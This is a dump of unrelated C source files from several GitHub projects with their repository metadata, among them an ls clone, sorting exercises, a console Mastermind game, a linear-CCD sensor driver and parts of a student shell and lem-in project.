// // Created by professor on 10/31/20. // #include "ft_ls.h" /** * issues we are facing: * 1) output name of the directory that we are parsing then the content of it * 2) path creation should be rewritten * 3) 1 node -> no name in header, name in header - need to implement * 4) correct error management * 5) total must be divided by 2 * WIP */ void get_file(t_handler* handler, const char* file_name, t_stat* st) { t_node* node_content; if (!(handler->flags & ALL_NODES) && file_name[0] == '.') return ; ///in files which came as args the type is in st node_content = init_node("", file_name, st_mode2d_type(st->st_mode)); ///get additional info if (handler->flags & LIST || handler->flags & TIME_SORT) { copy_info(node_content, st); } ft_ptr_vec_pushfront(handler->processed_nodes, node_content); ++handler->files_num; } void get_dir(t_handler* handler, const char* dir_name, t_stat* st) { DIR* ptr; t_dirent* node_content; t_node *dir; ptr = opendir(dir_name); ///init and copy name; here will come readlinked dir name dir = init_node("", dir_name, st_mode2d_type(st->st_mode)); ///copy st needed fields copy_info(dir, st); while ((node_content = readdir(ptr)) != NULL) { if (!(handler->flags & ALL_NODES) && node_content->d_name[0] == '.') continue ; ft_ptr_vec_pushback(dir->nodes, init_node(dir->d_name, node_content->d_name, node_content->d_type)); ///get additional info if (handler->flags & LIST || handler->flags & TIME_SORT) { ///stat work only with full paths if (!CURRENT_NODE->full_path_is_set) set_fullpath(CURRENT_NODE, dir->d_name, node_content->d_name); get_node_info(CURRENT_NODE); dir->total += CURRENT_NODE->st_blocks; } ///DO NOT TAKE '.' OR '..'!!! if ((handler->flags & RECURSIVE) && ft_strcmp(node_content->d_name, "..") && ft_strcmp(node_content->d_name, ".") && CURRENT_NODE->d_type == DT_DIR) { if (!CURRENT_NODE->full_path_is_set) set_fullpath(CURRENT_NODE, dir->d_name, node_content->d_name); ft_ptr_vec_pushback(handler->input_nodes, &CURRENT_NODE->full_path); } } ///sort dir ?? sort_nodes(((t_node**)(dir->nodes->data)), 0, (int)(dir->nodes->length - 1), handler->flags, LOCAL); ///get filename len dir->local_max_filename_len = get_max_filename_len(dir->nodes, LOCAL); ///push processed dir to processed nodes ft_ptr_vec_pushback(handler->processed_nodes, dir); closedir(ptr); } ///difference between dir and file is that in directory (t_node) field node is MALLOCED ///in file it is NULL ///all files are in pushfronted ///all dirs are pushbacked void read_nodes(t_handler* handler) { register size_t i; t_stat st; char* node_name; i = -1; ///todo: also handle symbolic links WIP while (++i < handler->input_nodes->length) { ///may be use macro instead of creating a variable node_name = handler->input_nodes->data[i]; ///R l a t /** * if it is a file-> 1 way -> get_file = {readlink{name}, s_nodes* == NULL}, * if it is a dir -> 2 way -> get dir = {readlink{name}, s_nodes*, total} -> sort(dir) */ if (stat(node_name, &st) == -1) { ///should be an error message and continue error_manager(node_name, CANT_OPEN); continue ; } /** * NOTE: function stat return node type is var st_mode * so we can identify what came to us */ S_ISDIR(st.st_mode) ? get_dir(handler, node_name, &st) : get_file(handler, node_name, &st); } ///get global namelen max handler->global_max_filename_len = get_max_filename_len(handler->processed_nodes, GLOBAL); //debug_read_nodes(handler, handler->processed_nodes); }
fce889c29ec03be38291ea40e0473db4e66d26da
5d1b7c5ab7f3a31348156ff925ae9a2d8a3be8a4
/dice_test.build/CompiledFrameType.c
208e5f27be31dea48e358b03a50c31a401d0d8dc
[ "MIT" ]
permissive
25shmeckles/scripts
6934ea59fdb014de9f56d3eb43181764265f3a67
61f2fd82a9500176e2b0d89665fedb936fdd9bc8
refs/heads/master
2021-01-20T01:58:55.064745
2019-06-11T12:32:52
2019-06-11T12:32:52
89,353,303
0
1
MIT
2018-05-29T05:49:07
2017-04-25T11:33:49
Jupyter Notebook
UTF-8
C
false
false
99
c
CompiledFrameType.c
/Users/amarcozzi/miniconda3/lib/python3.6/site-packages/nuitka/build/static_src/CompiledFrameType.c
f163737ab62184ca78e38b2803518326f21df72e
b3568a0cf2760433b2783d1e879024160a9fc23f
/insertsort.c
aea0b4b70ee6fe03152b07d6c67082e4f55972d5
[]
no_license
seohojinn/algorithm
62ed6160599ed748a43ad5e327a4c991e75e97f8
393a34ee8c7c14ccfa7555ab4cee3a54a112101f
refs/heads/master
2022-09-07T19:39:05.980853
2020-05-29T16:54:05
2020-05-29T16:54:05
258,092,576
0
0
null
null
null
null
UTF-8
C
false
false
856
c
insertsort.c
#include <stdio.h> void change(int *arr,int a, int key){ for(int i=a;i>=0;i--){ arr[i+1]=arr[i]; if(i!=0){ if(key>arr[i-1]){ arr[i]=key; break; } } else if(i==0){ arr[i]=key; } } } void insertion(int *arr, int size){ int key=0; for(int i=0;i<size-1;i++){ if(arr[i]>arr[i+1]){ key=arr[i+1]; change(arr,i,key); } // for(int j=0;j<size;j++){ // printf("%d ",arr[j]); // } // printf("\n"); } } int main(){ int arr[10]; int size=0; scanf("%d",&size); for(int i=0;i<size;i++){ scanf("%d",&arr[i]); } insertion(arr,size); for(int j=0;j<size;j++){ printf("%d ",arr[j]); } puts(" "); return 0; }
65f31ac7de39bb935d2e499d805c6f39f1ca0b2c
9aca390e0b9ab6f7d1afcba92ec7a334b36deb39
/AllOtherFunctions.h
885b1413ea2a5a2efe1ddd48a96594acae568599
[]
no_license
AbhishekHingorani/MasterMind
826f00679ffb6140308e30e7c0e353aab2ed9a26
53d5bcd114c270bf77fab379ad181dab5f6b644d
refs/heads/master
2020-03-27T06:09:49.478783
2018-08-25T09:52:18
2018-08-25T09:52:18
146,083,834
0
0
null
null
null
null
UTF-8
C
false
false
5,589
h
AllOtherFunctions.h
#include "codeGenerate.h" void GuessNum::ColorResult(int green,int blue,int red,int line,int n) { if(n==5) gotoxy(80,line); else if(n==1) gotoxy(92,line); else if(n==2) gotoxy(88,line); else if(n==3) gotoxy(86,line); else if(n==4) gotoxy(84,line); setColor(10); for(int i=0;i<green;i++) printf("%c ",254); setColor(9); for(int i=0;i<blue;i++) printf("%c ",254); setColor(12); for(int i=0;i<red;i++) printf("%c ",254); setColor(0); cout<<"\n"; } void GuessNum::getGuess(int length,int line) { for(int i=0,j=11;i<=length;i++,j+=9) { gotoxy(j,line); guess111[i]=getche(); //cin>>guess111[i]; if(guess111[i]>=49 && guess111[i]<=54) { guess[i]=atoi((guess111+i)); gotoxy(0,32); cout<<"\n\t\t\t "; } else { gotoxy(0,32); setColor(4); cout<<"\n\t\t\t WHY ARE YOU TRYING TO LOSE ! YOU LOST ONE CHANCE !! ENTER VALID NUMBERS !!!!"; setColor(0); return; } } return; } int GuessNum::Validation(int ques[],int n,int line) { int flag=0,GrnCnt=0,BluCnt=0,RedCnt=0; for(int i=0,j=0;i<=n;i++,j++) { if(ques[i]==guess[i]) GrnCnt++; } for(int i=0;i<=n;i++) { for(int j=0;j<=n;j++) { if(ques[i]==guess[j]) BluCnt++; } } int flag1=0; for(int i=0;i<=n;i++) { int key=guess[i]; for(int j=i+1;j<=n;j++) { if(guess[j]==key) { flag1++; } } } if(flag1>0) { for(int i=0 ; i<=n ; i++) { for(int j=0 ; j<=n ; j++) { if(ques[i]==guess[j]) { int tempG=ques[i]; if(flag!=0 && tempG==guess[j]) BluCnt--; if(flag==0 && tempG==guess[j]) flag++; } } flag=0; } } BluCnt-=GrnCnt; RedCnt= RedCnt=((n+1)-(GrnCnt+BluCnt)); //cout<<" G : "<<GrnCnt<<" B : "<<BluCnt<<" R : "<<RedCnt; ColorResult(GrnCnt,BluCnt,RedCnt,line,n); if(GrnCnt==(n+1) && BluCnt==0 && RedCnt==0) return 2; else return 1; } void beautify() { system("color F0"); system("mode CON: COLS=127"); for(int i=0;i<127;i++) cout<<"\xdb"; setColor(4); for(int i=0;i<57;i++) cout<<"\xb2"; setColor(0); cout<<" MASTERMIND "; setColor(4); for(int i=0;i<54;i++) cout<<"\xb2"; setColor(0); for(int i=0;i<127;i++) cout<<"\xdb"; } void description(int a) { system("cls"); cout<<"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\t\t - You need to guess a "; switch(a) { case 1: cout<<"TWO digit number !! At Least Take A Challenge !!"; break; case 2: cout<<"THREE digit number !!! I Don\'t Think You Can !!!"; break; case 3: cout<<"FOUR digit number !!!! Haven't you played this already ???? -__-"; break; case 4: cout<<"FIVE digit number!!!!! Woah That\'s Challenging !!!!!"; break; case 5: cout<<"SIX digit number!!!!!! "; break; } cout<<"\n\n\n\t\t\t - You'll get TEN chances. Better make them worth.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\t\t\t\t\t\t\t\t\t\t\t"; system("pause"); system("cls"); } char menu() { gotoxy(54,8); cout<<"\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\n"; cout<<"\n\t\t\t\t\t\t\t ----MENU---- \n"; setColor(4); cout<<"\n\n\t\t\t\t\t\t\t Press\n"; cout<<"\n\t\t\t\t\t\t\t 1 . Play ! "; //For printing Menu. cout<<"\n\n\t\t\t\t\t\t\t 2 . Rules"; cout<<"\n\n\t\t\t\t\t\t\t 3 . How to Play."; cout<<"\n\n\t\t\t\t\t\t\t 4 . Exit !"; setColor(0); gotoxy(54,24); cout<<"\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\n"; for(int i=8;i<24;i++) { gotoxy(54,i); cout<<"\xdb"; gotoxy(77,i); cout<<"\xdb"; } char menu; setColor(4); cout<<"\n\n\n\t\t\t\t\t\t Enter your choice from menu above : "; menu=getche(); return menu; } char * setDifficulty() { char *diff=new char[2]; strcpy(diff," "); gotoxy(54,8); setColor(0); cout<<"\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\n"; cout<<"\n\t\t\t\t\t\t\t--DIFFICULTY LEVEL--\n"; setColor(4); cout<<"\n\n\t\t\t\t\t\t\t Press\n"; cout<<"\n\t\t\t\t\t\t\t 1 . Child's Play ! "; //For printing Menu. cout<<"\n\n\t\t\t\t\t\t\t 2 . Beginner"; cout<<"\n\n\t\t\t\t\t\t\t 3 . Moderate"; cout<<"\n\n\t\t\t\t\t\t\t 4 . Not so easy "; cout<<"\n\n\t\t\t\t\t\t\t 5 . Bring it on ! "; setColor(0); gotoxy(54,25); cout<<"\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\xdb\n"; for(int i=8;i<25;i++) { gotoxy(54,i); cout<<"\xdb"; gotoxy(77,i); cout<<"\xdb"; } setColor(4); cout<<"\n\n\n\t\t\t\t\t\t Enter your choice from menu above : "; *(diff+0)=getche(); return diff; } void checkFileExistence() { bool b2,b3,b6,b4,b5; ifstream get2,get3,get4,get5,get6; get2.open("codeTwo.txt"); get3.open("codeThree.txt"); get4.open("codeFour.txt"); get5.open("codeFive.txt"); get6.open("codeSix.txt"); b2 = get2.good(); b3 = get3.good(); b4 = get4.good(); b5 = get5.good(); b6 = get6.good(); if(b2==0) { codeTwo(); } if(b3==0) { codeThree(); } if(b4==0) { codeFour(); } if(b5==0) { codeFive(); } if(b6==0) { codeSix(); } get2.close(); get3.close(); get4.close(); get5.close(); get6.close(); }
21f9fa5029a63828bcf66dc0f97bab5cc0b1b1c2
5ae2e3b945270e24aeadb1b724bf8f6268249af0
/mstar/testall.c
e6f4259c21c37a03a862206f053ef29a0e00827d
[]
no_license
Jadenchen/test
d72bc920399f52bc42d483452c583db1a025fe6d
ccad312999c489a89b7018de84034154d4fe5519
refs/heads/master
2021-01-01T03:48:31.885243
2018-04-26T00:16:02
2018-04-26T00:16:02
58,038,213
0
0
null
null
null
null
UTF-8
C
false
false
2,750
c
testall.c
#include <stdio.h> #include <stdio.h> #include <string.h> // char *strcpy1 (char *des, char *source ) // { // // char *tmp = (char *)malloc (strlen(s)+1); // // int i; // // for (i = 0; i < strlen(s);i++){ // // tmp[i] = s[i]; // // } // // tmp[i] = '\0'; // // printf("strcpy1 &tmp %x\n", &tmp); // // return tmp; // int i; // for (i = 0; i< strlen(source);i++) // des[i] = source[i]; // des[i] = '\0'; // printf("%x\n", &des); // return des; // } // int main (void) // { // // char s[] = "hello"; // // char tmp[5]; // // strcpy1(tmp ,s); // // //printf("&tmp %x\n", &tmp); // // printf("%s\n", tmp);\ // int k[5] = {6,7,8,9,10}; // // int *p; // // p = a; // // *(p++) += 123; // // *(++p) += 123; // int i; // for (i = 0;i < 5;i++) // printf("%d\n", k[i]); // return 0; // } // int strcmp1 (char *s1, char *s2) // { // // while (*s1 && *s2 && (*s1 - *s2) == 0){ // // s1++; // // s2++; // // printf("1"); // // } // // printf("\n"); // for (;*s1 == *s2;s1++, s2++){ // if (*s1 == '\0') // return 0; // } // return *s1 - *s2; // } List * swap (List *head, List *a, List *b) { assert(head); assert(a); assert(b); /* a or b is head */ if (a == head || b == head){ List *curr = head; List *nohead = (a = head) ? b:a; for (;curr->next != nohead; curr = curr->next); curr->next = head; curr = nohead->next; nohead->next = head->next; head->next = curr; head = nohead; return head; } /*a and b are not head*/ List *prev_a = head; List *prev_b = head; for (;prev_a->next != a; prev_a = prev_a->next); for (;prev_b->next != b; prev_b = prev_b->next); prev_a->next = b; prev_b->next = a; prev_a = b->next; b->next = a->next; a->next = prev_a; return head; } List *insert (List *head, int val) { assert(head); List *tmp = (List *)malloc(sizeof(List *)); if (tmp == NULL) printf("create failed\n"); //add to last if(head){ List *curr = head; for(;curr->next != NULL; curr = curr->next); curr->next = tmp; tmp->val = val; tmp->next = NULL; } return head; } List *insert (List *head, List *a, int val) { assert(head); List *tmp = (List *)malloc(sizeof(List *)); if (tmp == NULL) printf("create failed\n"); //add to last if(head){ List *prev_a = head; for(;prev_a->next != a; prev_a = prev_a->next); prev_a->next = tmp; tmp->val = val; tmp->next = a; } return head; } int main (void) { // int a[] = {6,7,8,9,10}; // int i; // int *p = a; // *(p++) += 123; // *(++p) += 123; // for (i = 0;i< 5;i++) // printf("%d\n", a[i]); // return 0; // char s[] ="hello"; // char s1[] = "hellO"; // int val = strcmp1(s, s1); // printf("%d\n", val); int a = 0x3; a &= ~(1<<1); printf("%x\n", a); return 0; }
5206c9e4b0f9649c9acb0cbc1ca5fe8b1d7cd801
f462f84363d33a6596f8723e1cb4d71126cfea29
/instruments/src/fdi_indicator_instrument.h
761cc443455446d8221d56c112a3b3d786cb8289
[ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ]
permissive
denisbohm/firefly-ice-firmware
7a266d1ef200b657b045409682ec4f8a76c94f7b
a387ac573be80ac638579f811c99727d726a7a07
refs/heads/master
2021-12-01T16:25:06.012886
2021-11-05T14:26:38
2021-11-05T14:26:38
8,980,988
4
1
null
null
null
null
UTF-8
C
false
false
645
h
fdi_indicator_instrument.h
#ifndef FDI_INDICATOR_INSTRUMENT_H #define FDI_INDICATOR_INSTRUMENT_H #include "fdi_instrument.h" typedef struct { fdi_instrument_t super; #ifdef FDI_INSTRUMENT_ALL_IN_ONE uint32_t led_r; uint32_t led_g; uint32_t led_b; #endif } fdi_indicator_instrument_t; void fdi_indicator_instrument_initialize(void); uint32_t fdi_indicator_instrument_get_count(void); fdi_indicator_instrument_t *fdi_indicator_instrument_get_at(uint32_t index); void fdi_indicator_instrument_reset(fdi_indicator_instrument_t *instrument); void fdi_indicator_instrument_set_rgb(fdi_indicator_instrument_t *instrument, float r, float g, float b); #endif
167b10f43c72c7c756ac0042baf8a266622b1730
2f33630effb61c1f5cc105b77c9d6b5227cc5f74
/K66程序-主控/src/User/TSL1402.c
685da09e9a9a7434e51168b6f1bd4cd6758c0f1d
[]
no_license
piggrief/K66Framework
bebe006dd67b7b77a2326bb0eb570f0bb171f54c
fdad1cb84326b73cb97608d65db5367d8aec0b41
refs/heads/master
2020-04-22T02:46:19.193973
2019-06-08T16:09:23
2019-06-08T16:09:23
170,062,345
2
0
null
null
null
null
GB18030
C
false
false
4,051
c
TSL1402.c
#include "include.h" #define TSL1401_SIPin PTB, 5 #define TSL1401_CLKPin PTB, 2 #define TSL1401_SI(x) GPIO_Ctrl(TSL1401_SIPin, x) #define TSL1401_CLK(x) GPIO_Ctrl(TSL1401_CLKPin, x) #define TSL1401_ADC ADC0_SE13 #define PRINT_AD 1 //设置串口打印数据类型,0:打印二值化数据,1:打印AD值 #define THRESHOLD 100 //设置二值化阈值 #define WINDOW_WIDTH 128 //设置串口打印的像素个数,最大128,最小0 void TSL1401_Init() { GPIO_Init(TSL1401_SIPin, GPO, 0); GPIO_Init(TSL1401_CLKPin, GPO, 0); ADC_Init(TSL1401_ADC); } /* * 延时几微妙 */ void TSL1401delay() { unsigned int i; for (i = 0; i<10; i++) { asm("nop"); } } void TSL1401_GetLine(uint8 *pixel) { uint8 i; //开始SI TSL1401_SI(0); TSL1401_CLK(0); TSL1401delay(); TSL1401_SI(1); TSL1401delay(); TSL1401_CLK(1); TSL1401delay(); TSL1401_SI(0); TSL1401delay(); //采集第1个点 pixel[0] = ADC_Once(ADC_0, TSL1401_ADC, ADC_8bit); TSL1401_CLK(0); //采集第2~128个点 for (i = 1; i<128; i++) { TSL1401delay(); TSL1401_CLK(1); TSL1401delay(); pixel[i] = ADC_Once(ADC_0, TSL1401_ADC, ADC_8bit); TSL1401_CLK(0); } //发送第129个clk TSL1401delay(); TSL1401_CLK(1); TSL1401delay(); TSL1401_CLK(0); TSL1401delay(); } void TSL1401_SendLine(uint8 *LineImage) { for (int i = (64 - WINDOW_WIDTH / 2); i<(64 + WINDOW_WIDTH / 2); i++) { if (LineImage[i] == 0xFF) LineImage[i] = 0xFE; //遇到FF用FE替换即可 UART_Put_Char(TSL1401_DebugSerials, LineImage[i]); } UART_Put_Char(TSL1401_DebugSerials, 0xFF); //此字节用于线性CCD调试助手识别换行 } void LCD_ShowOneLineImage(uint8 * image) { uint8 pixbuff = 0; for (int i = 0; i < 128; i++) { pixbuff = image[i] * 63 / 255; LCD_PutPixel(i, 63-pixbuff); } } /*线性CCD图像处理部分*/ # define Binary_GateValue 150 # define RoadBlockCheckGateValue 25 int Black_Count = 0; int White_Count = 0; int CheckRoadBlock(uint8 * image) { Black_Count = 0; White_Count = 0; for (int i = 0; i < 128; i++) { if (image[i] >= Binary_GateValue) { White_Count++; } else { Black_Count++; } } LCD_PrintInt3(0, 5, White_Count); LCD_PrintInt3(0, 6, Black_Count); if (White_Count <= 25) { GPIO_Ctrl(BeepIOPortType, BeepIOPortIndex, 0); } else { GPIO_Ctrl(BeepIOPortType, BeepIOPortIndex, 1); } if (White_Count < RoadBlockCheckGateValue) { return 1; } else { return 0; } } /*线性CCD图像处理部分_赛道*/ # define ChangeGateValue 35 uint8 flag_leftline = 0; uint8 flag_rightline = 0; uint8 leftline = 0; uint8 rightline = 0; void lookline(uint8 * image) { flag_rightline = 0; flag_leftline = 0; /*右扫*/ for (int i = 64; i < 128 - 3; i++) { if ((image[i] - image[i + 3]) > ChangeGateValue) { flag_rightline = 1; rightline = i + 1; break; } } for (int i = 64; i >= 0+3; i--) { if ((image[i] - image[i - 3]) > ChangeGateValue) { flag_leftline = 1; leftline = i + 1; break; } } } float midline = 0; float lastmidline = 0; float CalPiancha() { float errorbuff = 0; lastmidline = midline; if (flag_leftline && flag_rightline) { midline = 0.5*(leftline + rightline); errorbuff = midline - 64; } else if (flag_leftline) { midline = leftline + 20; errorbuff = 1.5*(midline - 64); } else if (flag_rightline) { midline = rightline - 20; errorbuff = 1.5*(midline - 64); } else//全丢线 { midline = lastmidline; errorbuff = 1.5*(midline - 64); } return errorbuff; }
1c2cc561fe79b7f23c1efd3b60f088d8e5c7eea7
ea51d9fb71f0a67b4f4897dca511c3d4412b30de
/GTAV_DragResize/Utility/Trace.h
67aa60b1826b2053f59eb7b4b858b73bc8b9f4ca
[ "MIT" ]
permissive
CamxxCore/GTAV_DragResize
f4a18f6923b9f65fc60c0522dfbc551b4e88473a
2904d344f28e7b0e2b9ba794626dfd02d6fc25d9
refs/heads/master
2021-07-01T00:58:07.201663
2020-09-04T01:13:27
2020-09-04T01:13:27
149,423,294
5
2
null
null
null
null
UTF-8
C
false
false
555
h
Trace.h
#pragma once static __forceinline void StackTrace( const char * prefix ) { PVOID pFrames[USHRT_MAX]; const auto count = RtlCaptureStackBackTrace( 0, USHRT_MAX, pFrames, NULL ); FILE * file; char buf[MAX_PATH]; sprintf_s( buf, "stacktrace_%s_%llu.txt", prefix, GetTickCount64() ); fopen_s( &file, buf, "w" ); const auto pModuleBase = ( ULONG64 )GetModuleHandleA( nullptr ); for ( int ndx = 0; ndx < count; ndx++ ) fprintf( file, "Trace %3d %016llx\n", ndx, ( ULONG64 )pFrames[ndx] ); fclose( file ); }
f90441596f808c92d448002905c380cd044d3e02
c7920213dbbd638d3e907207deee7d74eebba314
/check_room_commands.c
61fcd16a37b81a0a4b1d0158e416a982e4594916
[]
no_license
vdoroshyn/lem-in
0d414931d7e0238ab9f503890915fff2fe1c7ec5
131f4504062677357c0a88f1c3ec076108c396ac
refs/heads/master
2020-12-30T12:44:08.898621
2018-10-29T18:00:08
2018-10-29T18:00:08
91,351,318
0
0
null
null
null
null
UTF-8
C
false
false
3,010
c
check_room_commands.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* check_room_commands.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: vdoroshy <marvin@42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2017/06/03 17:39:01 by vdoroshy #+# #+# */ /* Updated: 2017/06/03 17:39:08 by vdoroshy ### ########.fr */ /* */ /* ************************************************************************** */ #include "lem_in.h" int other_commands(char **line, t_a *abyss) { ft_putendlstrdel(line); get_next_line(0, line); if (*line != NULL && room_validate(*line)) { room_to_list(line, abyss); ft_strdel(line); return (0); } else if (*line == NULL) { c_destruct(abyss); write(1, "ERROR\n", 6); exit(-2); } else { return (1); } } static void check_start_norme(t_a *abyss, char **line) { abyss->start = (t_lst *)malloc(sizeof(t_lst)); if (abyss->start == NULL) { ft_strdel(line); c_destruct(abyss); write(1, "Not enough memory\n", 18); exit(-2); } abyss->start->content = ft_strdup_delim(*line, ' '); if (abyss->start->content == NULL) { ft_strdel(line); free(abyss->start); abyss->start = NULL; c_destruct(abyss); write(1, "Not enough memory\n", 18); exit(-2); } } void check_start(char **line, t_a *abyss) { if (abyss->start != NULL) { ft_strdel(line); destuctexit(abyss); } ft_putendlstrdel(line); get_next_line(0, line); if (*line != NULL && room_validate(*line)) { check_start_norme(abyss, line); coords_to_node(line, &abyss->start->x, &abyss->start->y, abyss); abyss->start->next = NULL; ft_putendlstrdel(line); } else { ft_strdel(line); destuctexit(abyss); } } static void check_end_norme(t_a *abyss, char **line) { abyss->end = (t_lst *)malloc(sizeof(t_lst)); if (abyss->end == NULL) { ft_strdel(line); c_destruct(abyss); write(1, "Not enough memory\n", 18); exit(-2); } abyss->end->content = ft_strdup_delim(*line, ' '); if (abyss->end->content == NULL) { ft_strdel(line); free(abyss->end); abyss->end = NULL; c_destruct(abyss); write(1, "Not enough memory\n", 18); exit(-2); } } void check_end(char **line, t_a *abyss) { if (abyss->end != NULL) { ft_strdel(line); destuctexit(abyss); } ft_putendlstrdel(line); get_next_line(0, line); if (*line != NULL && room_validate(*line)) { check_end_norme(abyss, line); coords_to_node(line, &abyss->end->x, &abyss->end->y, abyss); abyss->end->next = NULL; ft_putendlstrdel(line); } else { ft_strdel(line); destuctexit(abyss); } }
3739750756f9198c1ea94433988182caa785947f
387a852abe664d4cc20d6136b2994d0009ab700e
/Quickstort.c
8c21bc653b160bdc8d167395e0701c014e48526e
[]
no_license
jesusgortarez/Estructura-de-Datos
9ecec9d2c91f262246e1febe04b563b88d6a5a44
3c7a2d39ea69352b9b526cd64f069b7214faf52a
refs/heads/master
2020-04-21T10:59:55.957540
2019-06-08T09:22:02
2019-06-08T09:22:02
169,505,488
0
0
null
null
null
null
UTF-8
C
false
false
1,505
c
Quickstort.c
#include <stdio.h> #include <stdlib.h> #include <time.h> void QuickStort(int [],int); void qs(int [],int ,int ); int main () { int arreglo[50],tamano,i; printf("Dame el tamano del arreglo \n"); scanf("%d",&tamano); printf("Dame el arreglo \n"); for(i=0;i<tamano;i++){ scanf("%d",&arreglo[i]); } printf ("Arreglo:"); for(i=0;i<tamano;i++){ printf ("%d",arreglo[i]); } QuickStort(arreglo,tamano); printf ("\nArreglo ordenado:"); for(i=0;i<tamano;i++){ printf ("%d",arreglo[i]); } return 0; } void QuickStort(int arreglo[],int tamano){ qs(arreglo,0,tamano-1); } void qs(int arreglo[],int izquierda,int derecha){ srand (time(NULL)); int Vderecha,Vizquierda,pivote,temp,random; Vderecha=derecha; Vizquierda=izquierda; //pivote=arreglo[rand()%(Vderecha+1)-Vizquierda]; pivote=arreglo[(Vizquierda+Vderecha)/2]; do{ while(arreglo[Vizquierda]<pivote) Vizquierda++; while(arreglo[Vderecha]>pivote) Vderecha--; if(Vizquierda<=Vderecha){ temp=arreglo[Vderecha]; arreglo[Vderecha]=arreglo[Vizquierda]; arreglo[Vizquierda]=temp; Vizquierda++; Vderecha--; } }while(Vizquierda<=Vderecha); if(izquierda<Vderecha){ qs(arreglo,izquierda,Vderecha); } if(derecha>Vizquierda){ qs(arreglo,Vizquierda,derecha); } }
36b87d5b386c4db81000f26fb2c4a1c1ba5cf36f
e5d2ec5821eac601e9db1a082c7e511db2a8e834
/srcs/builtin/builtin_read.c
ac0e436e0c9f1438229acb54531c670e77fe10e3
[]
no_license
mmerabet42/42sh
941d698e1774c640fca8ed20399128d026d3ceb0
100319c0c65616bbaa1877ca34a2bc964815f424
refs/heads/master
2020-03-28T17:33:22.485927
2018-12-11T15:56:53
2018-12-11T15:56:53
148,800,870
1
0
null
2018-10-10T13:40:48
2018-09-14T14:36:30
C
UTF-8
C
false
false
2,672
c
builtin_read.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* builtin_read.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: gdufay <marvin@42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2018/10/08 10:24:29 by gdufay #+# #+# */ /* Updated: 2018/10/20 17:54:47 by ouralgan ### ########.fr */ /* */ /* ************************************************************************** */ #include "shell.h" #include "ft_printf.h" #include "ft_str.h" #include "ft_mem.h" #include "get_next_line.h" #include <signal.h> static int handle_opt(char ***argv, char *r) { t_opt opt; ft_bzero(&opt, sizeof(t_opt)); while (ft_getopt(argv, "r", &opt) != OPT_END) { if (opt.c == 'r') *r = 1; else if (opt.c == '\0' && (*argv = opt.ptr - 1)) break ; else if (ft_printf_fd(2, "read: bad option: %c\n", opt.c)) return (1); } return (0); } static int count_backslash(char *s) { int count; char *tmp; if (!s || !*s) return (0); tmp = s; while (*s) s++; count = 0; while (*(--s) == '\\' && s != tmp) count++; if (*s == '\\') count++; return (count); } static int handle_read(char **sp, char **argv) { char *s; char *tmp; if (!sp || !argv || (s = NULL)) return (0); while (*sp || *argv) { if (*argv && *sp) manage_export(*argv++, *sp++); else if (!*argv && *(argv - 1) && *sp) { tmp = ft_multi_strjoin(3, ft_getenv(*(argv - 1), g_shell->localp), " ", *sp++); manage_export(*(argv - 1), tmp); ft_strdel(&tmp); } else if (*argv && !*sp) manage_export(*argv++, ""); } return (0); } static char *expands_builtin(char *s1, char *s2) { char *tmp; tmp = ft_strjoin(s1, s2); ft_strdel(&s1); return (tmp); } int builtin_read(int argc, char **argv) { char *s; char *tmp; char **sp; char r; argv++; r = 0; if (!argc || handle_opt(&argv, &r) || (tmp = NULL)) return (1); signal(SIGINT, signal_read); while (get_next_line(0, &s) > -1) { tmp = expands_builtin(tmp, s); if (!(count_backslash(s) % 2) || r) break ; ft_strdel(&s); } ft_strdel(&s); if (!r) ft_strremove(tmp); sp = ft_split_whitespaces(tmp); handle_read(sp, argv); ft_free_tab(&sp); ft_strdel(&tmp); return (0); }
2a3d7f882c28434e8449b096fc9b9c41065ea5b2
adc0e4c7a120208f2b61a4407ac5622197ca15d4
/vibration/main.h
9debcf4aeae68906416843885bdf00e157323c50
[]
no_license
d3alek/SLIP-B
642b128a2d4edc55440f338da0d8d7b0e1343741
bd331857269663b9ee706e5b37172f53ca6cfe83
refs/heads/master
2021-01-15T09:28:33.999540
2014-01-16T07:08:32
2014-01-16T07:08:32
null
0
0
null
null
null
null
UTF-8
C
false
false
234
h
main.h
#ifndef MAIN_CONFIG #define MAIN_CONFIG #include <stdint.h> typedef enum {NONE, ON, OFF, ACCEPTED, INVITED, REJECTED} pipeline_status; typedef struct { uint64_t MUG_ID; pipeline_status PIPELINE_STATUS; } MUG_STATUS; #endif
164b00edc59bfb46d644556b31a2f3c03426e1af
4eba1663a0a0aecc2dade50addb15e2857c04281
/Array/merge_two_array.c
ace9910da1b86a1f46e8bcfdd7e86f7144a70c54
[]
no_license
adkhunt/Interview
b8fb515e8bd2eaf14520579a1b3b73027f98a645
0e643875c89670f08c69a41d353fb9e9def4dee2
refs/heads/master
2022-06-12T23:00:36.864913
2022-06-11T08:59:18
2022-06-11T08:59:18
80,596,842
10
5
null
null
null
null
UTF-8
C
false
false
1,188
c
merge_two_array.c
